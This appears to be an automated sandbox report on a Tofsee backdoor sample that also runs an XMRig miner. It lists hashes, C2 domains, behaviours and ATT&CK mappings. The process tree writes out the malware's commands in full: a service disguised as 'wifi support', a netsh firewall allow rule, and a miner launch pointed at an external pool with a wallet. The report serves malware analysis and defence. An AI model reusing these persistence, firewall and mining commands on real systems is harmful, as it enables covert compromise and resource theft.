Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    04-06-2022 13:40

General

  • Target

    8ded92e798318951a3c21cde2fd705a4f14484dea9164adf5150c12be76dccd8.exe

  • Size

    199KB

  • MD5

    feaf6df1a4f4fecd2067df69c645f450

  • SHA1

    ff48118808403149ae64dc6dce9ea611423bca7e

  • SHA256

    8ded92e798318951a3c21cde2fd705a4f14484dea9164adf5150c12be76dccd8

  • SHA512

    cd4c944165236204d1a84ff43775e70940a03c0868aac24b853040d0c7251fb092b0ee6d6df073c4e5f3e9f3dd0ad1c559cd182c1250342fe0ffe5b2573873cf

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8ded92e798318951a3c21cde2fd705a4f14484dea9164adf5150c12be76dccd8.exe
    "C:\Users\Admin\AppData\Local\Temp\8ded92e798318951a3c21cde2fd705a4f14484dea9164adf5150c12be76dccd8.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dqgdnxcx\
      2⤵
        PID:4868
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\thneiazm.exe" C:\Windows\SysWOW64\dqgdnxcx\
        2⤵
          PID:3052
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dqgdnxcx binPath= "C:\Windows\SysWOW64\dqgdnxcx\thneiazm.exe /d\"C:\Users\Admin\AppData\Local\Temp\8ded92e798318951a3c21cde2fd705a4f14484dea9164adf5150c12be76dccd8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3848
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dqgdnxcx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dqgdnxcx
          2⤵
          • Launches sc.exe
          PID:4732
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2620
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2204 -s 676
          2⤵
          • Program crash
          PID:1800
      • C:\Windows\SysWOW64\dqgdnxcx\thneiazm.exe
        C:\Windows\SysWOW64\dqgdnxcx\thneiazm.exe /d"C:\Users\Admin\AppData\Local\Temp\8ded92e798318951a3c21cde2fd705a4f14484dea9164adf5150c12be76dccd8.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3728
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4336
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3728 -s 548
          2⤵
          • Program crash
          PID:3436
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2204 -ip 2204
        1⤵
          PID:4136
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3728 -ip 3728
          1⤵
            PID:4076

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\thneiazm.exe
            Filesize

            10.2MB

            MD5

            4c89e9fa22ed19e3367ac8ae0985e6d2

            SHA1

            fc796fcd45a2f48240d88dea6aca3736d793c438

            SHA256

            f7aa2caa391ef646872b93454db34069554e84aa84af54fb9d8b3103b4514b5c

            SHA512

            4c344980a325668c77816b91e2a1eb8f340a8c206cfd030190e9d9b3a3600fbd2d38f52947664c7144a8a5dfc1f6dd93fe33a3c3ce55c1549cebd966edaefddf

          • C:\Windows\SysWOW64\dqgdnxcx\thneiazm.exe
            Filesize

            10.2MB

            MD5

            4c89e9fa22ed19e3367ac8ae0985e6d2

            SHA1

            fc796fcd45a2f48240d88dea6aca3736d793c438

            SHA256

            f7aa2caa391ef646872b93454db34069554e84aa84af54fb9d8b3103b4514b5c

            SHA512

            4c344980a325668c77816b91e2a1eb8f340a8c206cfd030190e9d9b3a3600fbd2d38f52947664c7144a8a5dfc1f6dd93fe33a3c3ce55c1549cebd966edaefddf

          • memory/2204-134-0x0000000000B90000-0x0000000000BA3000-memory.dmp
            Filesize

            76KB

          • memory/2204-135-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/2204-133-0x0000000000BCF000-0x0000000000BDD000-memory.dmp
            Filesize

            56KB

          • memory/2204-145-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/2204-144-0x0000000000BCF000-0x0000000000BDD000-memory.dmp
            Filesize

            56KB

          • memory/2620-143-0x0000000000000000-mapping.dmp
          • memory/3052-137-0x0000000000000000-mapping.dmp
          • memory/3468-178-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/3468-172-0x0000000000000000-mapping.dmp
          • memory/3468-173-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/3728-150-0x0000000000C0B000-0x0000000000C19000-memory.dmp
            Filesize

            56KB

          • memory/3728-151-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/3848-139-0x0000000000000000-mapping.dmp
          • memory/4336-160-0x0000000002D60000-0x0000000002D70000-memory.dmp
            Filesize

            64KB

          • memory/4336-147-0x0000000000ED0000-0x0000000000EE5000-memory.dmp
            Filesize

            84KB

          • memory/4336-152-0x0000000000ED0000-0x0000000000EE5000-memory.dmp
            Filesize

            84KB

          • memory/4336-153-0x0000000000ED0000-0x0000000000EE5000-memory.dmp
            Filesize

            84KB

          • memory/4336-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4336-157-0x0000000002D50000-0x0000000002D56000-memory.dmp
            Filesize

            24KB

          • memory/4336-146-0x0000000000000000-mapping.dmp
          • memory/4336-163-0x0000000002FF0000-0x0000000002FF5000-memory.dmp
            Filesize

            20KB

          • memory/4336-166-0x0000000007A40000-0x0000000007E4B000-memory.dmp
            Filesize

            4.0MB

          • memory/4336-169-0x0000000007F90000-0x0000000007F97000-memory.dmp
            Filesize

            28KB

          • memory/4372-140-0x0000000000000000-mapping.dmp
          • memory/4732-141-0x0000000000000000-mapping.dmp
          • memory/4868-136-0x0000000000000000-mapping.dmp